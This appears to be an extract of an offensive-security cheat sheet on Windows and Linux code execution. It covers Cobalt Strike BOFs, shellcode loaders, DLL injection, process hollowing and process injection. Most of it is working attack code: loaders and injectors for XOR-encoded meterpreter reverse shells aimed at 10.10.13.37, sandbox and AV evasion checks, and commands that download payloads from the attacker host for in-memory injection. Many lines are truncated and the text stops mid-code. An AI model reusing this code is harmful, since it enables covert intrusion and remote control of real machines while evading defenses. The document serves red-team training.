#include <windows.h>
#include "beacon.h"

void go(char* args, int len)


{

DECLSPEC_IMPORT INT WINAPI USER32$MessageBoxA(HWND, LPCSTR, LPCSTR, UINT);

datap parser;
BeaconDataParse(&parser, args, len);

char* message;
message = BeaconDataExtract(&parser, NULL);

USER32$MessageBoxA(NULL, message, "Hello from BOF!", 0);


}

Aggressor

msgbox.cna
alias msgbox {
local('$handle $bof $args');

# Read the bof file


$handle = openf(script_resource("msgbox.o"));
$bof = readb($handle, -1);
closef($handle);

# Pack args
$args = bof_pack($1, "z", $2);

# Print task to console


btask($1, "Running MessageBoxA BOF");

# Execute BOF
beacon_inline_execute($1, $bof, "go", $args);
}

beacon_command_register("msgbox", "Pops a message box", "Calls the MessageBoxA Win3

Run BOFs outside of CS

https://www.trustedsec.com/blog/coffloader-building-your-own-in-memory-loader-or-how-to-run-bofs/

https://github.com/trustedsec/COFFLoader

https://skyblue.team/posts/invoke-bof/
https://github.com/airbus-cert/Invoke-Bof

https://github.com/Cracked5pider/CoffeeLdr
https://github.com/frkngksl/NiCOFF

RunOF

https://labs.nettitude.com/blog/introducing-runof-arbitrary-bof-tool/
https://github.com/nettitude/RunOF

An example of running the nanodump.x64.o BOF via RunOF fork from memory:

Compile RunOF.exe assembly and convert it to a PowerShell invoker (see .NET Reflective Assembly)
Search for argument types that the target BOF uses (usually located in accompanying Aggressor
scripts):

curl -sSL 'https://github.com/helpsystems/nanodump/raw/main/'`curl -sSL 'https://api.github.co


$args = bof_pack($1, "iziiiiiiiziiz", $pid, $dump_path, $write_file, $use_valid_sig, $fork
$args = bof_pack($1, "ziiiiizb", $dump_path, $use_valid_sig, $fork, $snapshot, $dup, $use_
$args = bof_pack($1, "z", $ssp_path);
$args = bof_pack($1, "z", $2);

Load the invoker into memory, fetch the BOF ( -u option) and run it providing necessary arguments with
their types like this:

PS > Invoke-RunOF -u https://github.com/helpsystems/nanodump/raw/main/dist/nanodump.x64.o '-i

Code Injection
https://www.elastic.co/blog/ten-process-injection-techniques-technical-survey-common-and-trending-
process

https://blog.xpnsec.com/weird-ways-to-execute-dotnet/

https://gitlab.com/users/ORCA666/projects

Shellcode as Function

http://disbauxes.upc.es/code/two-basic-ways-to-run-and-test-shellcode/

https://www.fergonez.net/post/shellcode-csharp

https://www.ired.team/offensive-security/code-injection-process-injection/local-shellcode-execution-
without-windows-apis

https://github.com/byt3bl33d3r/OffensiveNim/issues/16

https://github.com/chvancooten/OSEP-Code-
Snippets/blob/main/Linux%20Shellcode%20Loaders/simpleLoader.c

https://github.com/paranoidninja/Brute-Ratel-C4-Community-
Kit/blob/main/deprecated/badger_template.ps1

Windows

loader.c
#include <stdio.h>
#include <windows.h>

// msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.13.37 LPORT=1337 -f


// xxd -i met.bin > shellcode.h
#include "shellcode.h"

int main() {
DWORD lpThreadId = 0;
DWORD flOldProtect = 0;
int bufsize = sizeof(buf);
LPVOID f = VirtualAlloc(NULL, bufsize, MEM_RESERVER|MEM_COMMIT, PAGE_READWRITE)
for (int i = 0; i < (int)bufsize-1; i++) { buf[i] = buf[i] ^ 'a'; }
memcpy(f, buf, bufsize);
VirtualProtect(f, bufsize, PAGE_EXECUTE_READ, &flOldProtect);
((void(*)())f)();
//VirtualFree(f, 0, MEM_RELEASE);
WaitForSingleObject((HANDLE)-1, -1);
return 0;
}
Linux

loader.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

// msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.13.37 LPORT=1337 -f c


unsigned char buf[] =
"\x31\x33\...\x33\x37";

int main (int argc, char **argv)


{
int bufsize = (int)sizeof(buf);

for (int i = 0; i < bufsize-1; i++) { buf[i] = buf[i] ^ 'a'; }


int (*ret)() = (int(*)())buf;
ret();
}

Compile allowing execution on stack:

$ gcc -o loader loader.c -z execstack

Shellcode In-Memory Fluctuation (Obfuscate and Sleep)


https://www.solomonsklash.io/SleepyCrypt-shellcode-to-encrypt-a-running-image.html

https://github.com/SolomonSklash/SleepyCrypt

https://gist.github.com/S3cur3Th1sSh1t/6022dc2050bb1b21be2105b8b0dc077d

https://github.com/mgeeky/ShellcodeFluctuation

https://github.com/phra/PEzor/blob/master/fluctuate.cpp
https://labs.f-secure.com/blog/bypassing-windows-defender-runtime-scanning/
https://xz.aliyun.com/t/9399

https://github.com/zu1k/beacon_hook_bypass_memscan

https://suspicious.actor/2022/05/05/mdsec-nighthawk-study.html

https://github.com/y11en/FOLIAGE
https://github.com/ShellBind/G0T-B0R3D/blob/main/Cs-Sleep-Mask-Fiber.c
https://github.com/Cracked5pider/Ekko/blob/main/Src/Ekko.c
https://mez0.cc/posts/vulpes-obfuscating-memory-regions/

gargoyle

https://github.com/JLospinoso/gargoyle
https://lospi.net/security/assembly/c/cpp/developing/software/2017/03/04/gargoyle-memory-analysis-
evasion.html
https://labs.f-secure.com/blog/experimenting-bypassing-memory-scanners-with-cobalt-strike-and-
gargoyle/
https://www.arashparsa.com/bypassing-pesieve-and-moneta-the-easiest-way-i-could-find/
https://github.com/waldo-irc/YouMayPasser
https://github.com/thefLink/DeepSleep

Memory Scanners

https://github.com/forrest-orr/moneta
https://github.com/hasherezade/pe-sieve

Thread Stack Spoofing


Thread Stack Frame Spoofing with Brute Ratel C4

https://github.com/mgeeky/ThreadStackSpoofer/tree/c2507248723d167fb2feddf50d35435a17fd61a2
https://github.com/mgeeky/ThreadStackSpoofer

https://labs.withsecure.com/blog/spoofing-call-stacks-to-confuse-edrs/
https://github.com/countercept/CallStackSpoofer
https://www.unknowncheats.me/forum/anti-cheat-bypass/268039-x64-return-address-spoofing-source-
explanation.html

PE to Shellcode

https://github.com/monoxgas/sRDI
https://github.com/TheWover/donut
https://github.com/hasherezade/pe_to_shellcode

Example with SharpHound.exe and donut (C# cross-compilation is done with Mono):

sweetblood.sh
RNDNAME=`curl -sL https://github.com/penetrarnya-tm/WeaponizeKali.sh/raw/main/misc/binaries.tx
wget https://github.com/BloodHoundAD/BloodHound/raw/master/Collectors/SharpHound.exe -qO /tmp/

# --ldapusername snovvcrash --ldappassword Passw0rd!


~/tools/PEzor/deps/donut/donut -a2 -z2 -i /tmp/SharpHound.exe -p '--CollectionMethod All,Logge

BUF=`xxd -i /tmp/SharpHound.bin | head -n-2 | tail -n+2 | tr -d ' ' | tr -d '\n'`


BUFSIZE=`xxd -i /tmp/SharpHound.bin | tail -n1 | awk '{print $5}' | tr -d ';\n'`
cat << EOF > "/tmp/$RNDNAME.cs"
using System;
using System.Runtime.InteropServices;

namespace Sh4rpH0und
{
class Program
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, ulong dwSize, uint flAllocationTyp

[DllImport("kernel32.dll")]
static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr

[DllImport("kernel32.dll")]
static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

static void Main(string[] args)


{
byte[] buf = new byte[$BUFSIZE] { $BUF };
IntPtr addr = VirtualAlloc(IntPtr.Zero, (ulong)buf.Length, 0x1000, 0x40);
Marshal.Copy(buf, 0, addr, buf.Length);
IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
WaitForSingleObject(hThread, 0xFFFFFFFF);
}
}
}
EOF

mcs -platform:x64 -t:winexe "/tmp/$RNDNAME.cs" -out:"$RNDNAME.exe"


file "$RNDNAME.exe"
rm "/tmp/SharpHound.exe" "/tmp/SharpHound.bin" "/tmp/$RNDNAME.cs"

This technique is enhanced and automated here.

PE Injection

https://gist.github.com/hasherezade/e6daa4124fab73543497b6d1295ece10
https://xakep.ru/2018/08/27/doppelganging-process/
https://xakep.ru/2022/04/21/herpaderping-and-ghosting/
Shellcode Execution via Callbacks
https://github.com/aahmad097/AlternativeShellcodeExec
https://marcoramilli.com/2022/06/15/running-shellcode-through-windows-callbacks/

https://osandamalith.com/2021/04/01/executing-shellcode-via-callbacks/

http://ropgadget.com/posts/abusing_win_functions.html

CallWindowProc
CertEnumSystemStore
CertEnumSystemStoreLocation
CopyFile2
CopyFileEx
CryptEnumOIDInfo
EnumCalendarInfo
EnumCalendarInfoEx

EnumCalendarInfoExEx
EnumChildWindows
EnumDateFormats
EnumDesktopWindows
EnumDesktops
EnumDirTree
EnumDisplayMonitors
EnumFontFamilies
EnumFontFamiliesEx
EnumFonts
EnumLanguageGroupLocales
EnumObjects
EnumPageFiles
EnumPwrSchemes
EnumResourceTypes
EnumResourceTypesEx
EnumSystemCodePages
EnumSystemGeoID
EnumSystemLanguageGroups
EnumSystemLocales
EnumSystemLocalesEx
EnumThreadWindows
EnumTimeFormats
EnumTimeFormatsEx
EnumUILanguages
EnumWindowStations
EnumWindows
EnumerateLoadedModules
EnumerateLoadedModulesEx
ImageGetDigestStream
ImmEnumInputContext
InitOnceExecuteOnce
LdrEnumerateLoadedModules
LineDDA
NotifyIpInterfaceChange
NotifyRouteChange2
NotifyTeredoPortChange
NotifyUnicastIpAddressChange
SetupCommitFileQueue
SymEnumProcesses
SymFindFileInPath
VerifierEnumerateResource

Detection

https://www.mono-project.com/docs/tools+libraries/tools/monodis/
https://github.com/Dump-GUY/Get-PDInvokeImports

Show P/Invoke imports in a .NET assembly with System.Reflection.Metadata and PowerShell


Core (stolen from 1, 2):

$assembly = "\path\to\csharp\binary.exe"
$stream = [System.IO.File]::OpenRead($assembly)
$peReader = [System.Reflection.PortableExecutable.PEReader]::new($stream, [System.Reflection.P
$metadataReader = [System.Reflection.Metadata.PEReaderExtensions]::GetMetadataReader($peReader
$assemblyDefinition = $metadataReader.GetAssemblyDefinition()

foreach($typeHandler in $metadataReader.TypeDefinitions) {
$typeDef = $metadataReader.GetTypeDefinition($typeHandler)
foreach($methodHandler in $typeDef.GetMethods()) {
$methodDef = $metadataReader.GetMethodDefinition($methodHandler)

$import = $methodDef.GetImport()
if ($import.Module.IsNil) {
continue
}

$dllImportFuncName = $metadataReader.GetString($import.Name)
$dllImportParameters = $import.Attributes.ToString()
$dllImportPath = $metadataReader.GetString($metadataReader.GetModuleReference($import
Write-Host "$dllImportPath, $dllImportParameters`n$dllImportFuncName`n"
}
}

Another method with a PowerShell one-liner:

([System.Reflection.Assembly]::LoadFile("\path\to\csharp\binary.exe")).GetTypes() | % {$_.GetM
T l
https://github.com/0xDivyanshu/Injector

https://github.com/jfmaes/SharpZipRunner

https://github.com/plackyhacker/Shellcode-Injection-Techniques

https://github.com/3xpl01tc0d3r/ProcessInjection

DLL Injectors
Inject DLLs into remote process's virtual address space

Classic DLL Injection

C# Executable

A simple C# DLL injector to explain the basics:

1. Allocate space for the malicious DLL in remote process's virtual address space.
2. Write the DLL contents into the allocated space.

3. Locate the address of the LoadLibraryA function in kernel32.dll with GetModuleHandle and
GetProcAddress . Most Windows native DLLs are allocated at the same base address, so the
obtained address of LoadLibraryA will be the same for the remote process.
4. Invoke LoadLibraryA function on the behalf of the remote thread supplying base LoadLibraryA
address as the 4th argument of CreateRemoteThread and the name of the DLL to be loaded as the
5th argument.

All this is needed because LoadLibrary functions cannot be invoked natively on a remote process.

DLLInjector.cs
using System;
using System.Net;
using System.Linq;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Text;

namespace DLLInjector
{
class Program
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processI

[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]


static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, ui

[DllImport("kernel32.dll")]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lp

[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, ui

[DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = tr


static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

[DllImport("kernel32.dll", CharSet = CharSet.Auto)]


public static extern IntPtr GetModuleHandle(string lpModuleName);

static void Main(string[] args)


{
// Download the malicious DLL
String dirName = Environment.GetFolderPath(Environment.SpecialFolder.MyMusic);
String dllName = dirName + "\\met.dll";
WebClient wc = new WebClient();
// msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.13.37 LPORT=443 E

wc.DownloadFile("http://10.10.13.37/met.dll", dllName);

// Get remote process handle


Process[] pList = Process.GetProcessesByName("explorer");
int processId = pList.First().Id;
IntPtr hProcess = OpenProcess(0x001F0FFF, false, processId);

// Allocate space for the DLL name in remote process's virtual address space and w
IntPtr dllAddress = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
IntPtr outSize;
WriteProcessMemory(hProcess, dllAddress, Encoding.Default.GetBytes(dllName), dllNa

// Locate base address of the LoadLibraryA function in kernel32.dll (this address


IntPtr loadLibraryAddress = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadL

// Invoke LoadLibraryA function in the remote process supplying starting address o


IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, loadLibraryAddress,
}
}
}

According to this template that MSF is using to generate a DLL, there's another injection
technique (Thread Execution Hijacking) in the DLL code itself which is invoked upon
DLL_PROCESS_ATTACH event. That causes the DLL not to be loaded in the target process
memory, but it rather forces new shellcode to be executed by rundll32.exe and the malicios
process (meterpreter shell, etc.) gets the PID of rundll32.exe . It may also result in hanging
the parent's process ( explorer.exe in terms of this example) and crashing it when the shell
dies.
Reflective DLL Injection

https://github.com/stephenfewer/ReflectiveDLLInjection#overview

https://github.com/dismantl/ImprovedReflectiveDLLInjection

https://github.com/Moriarty2016/NimRDI

https://bruteratel.com/research/feature-update/2021/06/01/PE-Reflection-Long-Live-The-King/

Invoke-ReflectivePEInjection

https://github.com/S3cur3Th1sSh1t/Creds/blob/master/PowershellScripts/Invoke-
ReflectivePEInjection.ps1

$ msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.13.37 LPORT=443 EXITFUNC=threa


PS > $bytes = (New-Object Net.WebClient).DownloadData("http://10.10.13.37/met.dll")
PS > Invoke-ReflectivePEInjection -PEBytes $bytes -ProcId (Get-Process explorer).Id

Process Hollowing

Hollow with Shellcode

https://github.com/chvancooten/OSEP-Code-
Snippets/blob/main/Shellcode%20Process%20Hollowing/Program.cs
https://github.com/S3cur3Th1sSh1t/Creds/blob/master/Csharp/DinvokeProcessHollow.cs

1. Create the target process (e.g., svchost.exe ) in a suspended state.


2. Query created process to extract its base address pointer from PEB (Process Environment Block).

3. Read 8 bytes of memory (for 64-bit architecture) pointed by the image base address pointer in order to get
the actual value of the image base address.

4. Read 0x200 bytes of the loaded EXE image and parse PE structure to get the EntryPoint address.
5. Write the shellcode to the EntryPoint address and resume thread execution.

ProcessHollower.cs
using System;
using System.Runtime.InteropServices;

namespace ProcessHollower
{
class Program
{
public const uint CREATE_SUSPENDED = 0x4;
public const int ProcessBasicInformation = 0;

[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)]


struct STARTUPINFO
{
public Int32 cb;
public IntPtr lpReserved;
public IntPtr lpDesktop;
public IntPtr lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
internal struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}

[StructLayout(LayoutKind.Sequential)]
internal struct PROCESS_BASIC_INFORMATION
{
public IntPtr Reserved1;
public IntPtr PebAddress;
public IntPtr Reserved2;
public IntPtr Reserved3;
public IntPtr UniquePid;
public IntPtr MoreReserved;
}

[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Ansi)]


static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPt

[DllImport("ntdll.dll", CallingConvention = CallingConvention.StdCall)]


private static extern int ZwQueryInformationProcess(IntPtr hProcess, int procInformati

[DllImport("kernel32.dll", SetLastError = true)]


static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [Out] byte

[DllImport("kernel32.dll")]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lp

[DllImport("kernel32.dll", SetLastError = true)]


private static extern uint ResumeThread(IntPtr hThread);

[DllImport("kernel32.dll")]
static extern void Sleep(uint dwMilliseconds);

[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]


static extern IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress, uint dwSize

[DllImport("kernel32.dll")]
static extern IntPtr GetCurrentProcess();

static void Main(string[] args)


{
// Check if we're in a sandbox by calling a rare-emulated API
if (VirtualAllocExNuma(GetCurrentProcess(), IntPtr.Zero, 0x1000, 0x3000, 0x4, 0) =
{
return;
}

// Sleep to evade in-memory scan + check if the emulator did not fast-forward thro
var rand = new Random();
uint dream = (uint)rand.Next(10000, 20000);
double delta = dream / 1000 - 0.5;
DateTime before = DateTime.Now;
Sleep(dream);
if (DateTime.Now.Subtract(before).TotalSeconds < delta)
{
Console.WriteLine("Charles, get the rifle out. We're being fucked.");
return;
}

// msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.13.37 LPORT=443 -


byte[] buf = new byte[???] {
0x31,0x33,...,0x33,0x37 };

// XOR-decrypt the shellcode


for (int i = 0; i < buf.Length; i++)
{
buf[i] = (byte)(buf[i] ^ (byte)'a');

// Create the target process (e.g., svchost.exe) in a suspended state


STARTUPINFO si = new STARTUPINFO();
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
bool res = CreateProcess(null, "C:\\Windows\\System32\\svchost.exe", IntPtr.Zero,

// Query created process to extract its base address pointer from PEB (Process Env
PROCESS_BASIC_INFORMATION bi = new PROCESS_BASIC_INFORMATION();
uint tmp = 0;
IntPtr hProcess = pi.hProcess;
ZwQueryInformationProcess(hProcess, ProcessBasicInformation, ref bi, (uint)(IntPtr
// Pointer to the base address of the EXE image: BASE_ADDR_PTR = PEB_ADDR + 0x10
IntPtr ptrImageBaseAddress = (IntPtr)((Int64)bi.PebAddress + 0x10);

// Read 8 bytes of memory (IntPtr.Size is 8 bytes for x64) pointed by the image ba
byte[] baseAddressBytes = new byte[IntPtr.Size];
IntPtr nRead = IntPtr.Zero;
ReadProcessMemory(hProcess, ptrImageBaseAddress, baseAddressBytes, baseAddressByte
// We're got bytes as a result of memory read, then converted them to Int64 and ca
IntPtr imageBaseAddress = (IntPtr)(BitConverter.ToInt64(baseAddressBytes, 0));

// Read 200 bytes of the loaded EXE image and parse PE structure to get the EntryP
byte[] data = new byte[0x200];
ReadProcessMemory(hProcess, imageBaseAddress, data, data.Length, out nRead);
// "e_lfanew" field (4 bytes, UInt32; contains the offset for the PE header): e_lf
uint e_lfanew = BitConverter.ToUInt32(data, 0x3C);
// EntryPoint RVA (Relative Virtual Address) offset: ENTRYPOINT_RVA_OFFSET = e_lfa
uint entrypointRvaOffset = e_lfanew + 0x28;
// EntryPoint RVA (4 bytes, UInt32; contains the offset for the executable EntryPo
uint entrypointRva = BitConverter.ToUInt32(data, (int)entrypointRvaOffset);
// Absolute address of the executable EntryPoint: ENTRYPOINT_ADDR = BASE_ADDR + EN
IntPtr entrypointAddress = (IntPtr)((UInt64)imageBaseAddress + entrypointRva);
// Write the shellcode to the EntryPoint address and resume thread execution
WriteProcessMemory(hProcess, entrypointAddress, buf, buf.Length, out nRead);
ResumeThread(pi.hThread);
}
}
}

Hollow with EXE

https://github.com/m0n0ph1/Process-Hollowing
https://gist.github.com/gnh1201/6a3836468c898f7ad3a3656e6f24dce3

https://www.ired.team/offensive-security/code-injection-process-injection/process-hollowing-and-pe-
image-relocations

Process Injectors
Inject shellcode into remote process's virtual address space

https://rastamouse.me/exploring-process-injection-opsec-part-1/
https://rastamouse.me/exploring-process-injection-opsec-part-2/

https://www.x86matthew.com/view_post?id=proc_env_injection

Classic Process Injection

C# DLL via Win32 API

https://github.com/chvancooten/OSEP-Code-
Snippets/blob/main/Shellcode%20Process%20Injector/Program.cs

Using standard Win32 API trio:

VirtualAllocEx
WriteProcessMemory
CreateRemoteThread

ProcessInjector.cs
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;

namespace ProcessInjector
{
public class Program
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processI

[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]


static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, ui

[DllImport("kernel32.dll")]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lp

[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, ui

[DllImport("kernel32.dll")]
static extern void Sleep(uint dwMilliseconds);

[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]


static extern IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress, uint dwSize

[DllImport("kernel32.dll")]
static extern IntPtr GetCurrentProcess();

public static void Run()


{
// Check if we're in a sandbox by calling a rare-emulated API
if (VirtualAllocExNuma(GetCurrentProcess(), IntPtr.Zero, 0x1000, 0x3000, 0x4, 0) =
{
return;
}

// Sleep to evade in-memory scan + check if the emulator did not fast-forward thro
var rand = new Random();
uint dream = (uint)rand.Next(10000, 20000);
double delta = dream / 1000 - 0.5;
DateTime before = DateTime.Now;
Sleep(dream);
if (DateTime.Now.Subtract(before).TotalSeconds < delta)
{
Console.WriteLine("Charles, get the rifle out. We're being fucked.");
return;
}

Process[] pList = Process.GetProcessesByName("explorer");


if (pList.Length == 0)
{
// Console.WriteLine("[-] No such process!");
System.Environment.Exit(1);
}
int processId = pList[0].Id;
// 0x001F0FFF = PROCESS_ALL_ACCESS
IntPtr hProcess = OpenProcess(0x001F0FFF, false, processId);
IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);

// msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.13.37 LPORT=443 E


byte[] buf = new byte[???] {
0x31,0x33,...,0x33,0x37 };

// XOR-decrypt the shellcode


for (int i = 0; i < buf.Length; i++)
{
buf[i] = (byte)(buf[i] ^ (byte)'a');
}

IntPtr outSize;
WriteProcessMemory(hProcess, addr, buf, buf.Length, out outSize);

IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0


}
}
}

When selecting architecture during compilation, remember that there're 4 potential ways to
perform the migration:

1. 64-bit > 64-bit: succeeds.


2. 64-bit > 32-bit: succeeds.
3. 32-bit > 32-bit: succeeds.
4. 32-bit > 64-bit: fails due to CreateRemoteThread does not natively support it.

C# Executable via Native API

https://www.ired.team/offensive-security/code-injection-process-injection/ntcreatesection-+-
ntmapviewofsection-code-injection

https://github.com/chvancooten/OSEP-Code-
Snippets/blob/main/Sections%20Shellcode%20Process%20Injector/Program.cs

Using Native API quadro:

NtCreateSection
NtMapViewOfSection
RtlCreateUserThread

NtUnmapViewOfSection
NtProcessInjector.cs
using System;
using System.Linq;
using System.Diagnostics;
using System.Runtime.InteropServices;

namespace NtProcessInjector
{
public class Program
{
public const uint PROCESS_ALL_ACCESS = 0x001F0FFF;
public const uint SECTION_MAP_READ = 0x0004;
public const uint SECTION_MAP_WRITE = 0x0002;
public const uint SECTION_MAP_EXECUTE = 0x0008;
public const uint PAGE_READ_WRITE = 0x04;
public const uint PAGE_READ_EXECUTE = 0x20;
public const uint PAGE_EXECUTE_READWRITE = 0x40;

public const uint SEC_COMMIT = 0x8000000;

[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]


static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processI

[DllImport("ntdll.dll", SetLastError = true, ExactSpelling = true)]


static extern UInt32 NtCreateSection(ref IntPtr SectionHandle, UInt32 DesiredAccess, I

[DllImport("ntdll.dll", SetLastError = true)]


static extern uint NtMapViewOfSection(IntPtr SectionHandle, IntPtr ProcessHandle, ref

[DllImport("ntdll.dll", SetLastError = true)]


static extern uint NtUnmapViewOfSection(IntPtr hProc, IntPtr baseAddr);

[DllImport("ntdll.dll", SetLastError = true)]


static extern IntPtr RtlCreateUserThread(IntPtr processHandle, IntPtr threadSecurity,

[DllImport("ntdll.dll", ExactSpelling = true, SetLastError = false)]


static extern int NtClose(IntPtr hObject);

[DllImport("kernel32.dll")]
static extern void Sleep(uint dwMilliseconds);

[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]


static extern IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress, uint dwSize

[DllImport("kernel32.dll")]
static extern IntPtr GetCurrentProcess();

// BEGIN DEBUG (imports)


[DllImport("kernel32.dll", SetLastError = true)]
static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [Out] byte

[DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]


static extern int memcmp(byte[] b1, byte[] b2, UIntPtr count);

static bool CompareByteArray(byte[] b1, byte[] b2)


{
return b1.Length == b2.Length && memcmp(b1, b2, (UIntPtr)b1.Length) == 0;
}
// END DEBUG

static void Main(string[] args)


{
// Check if we're in a sandbox by calling a rare-emulated API
if (VirtualAllocExNuma(GetCurrentProcess(), IntPtr.Zero, 0x1000, 0x3000, 0x4, 0) =
{
return;
}

// Sleep to evade in-memory scan + check if the emulator did not fast-forward thro
var rand = new Random();
uint dream = (uint)rand.Next(10000, 20000);

double delta = dream / 1000 - 0.5;


DateTime before = DateTime.Now;
Sleep(dream);
if (DateTime.Now.Subtract(before).TotalSeconds < delta)
{
Console.WriteLine("Charles, get the rifle out. We're being fucked.");
return;
}

// msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.13.37 LPORT=443 E


byte[] buf = new byte[???] {
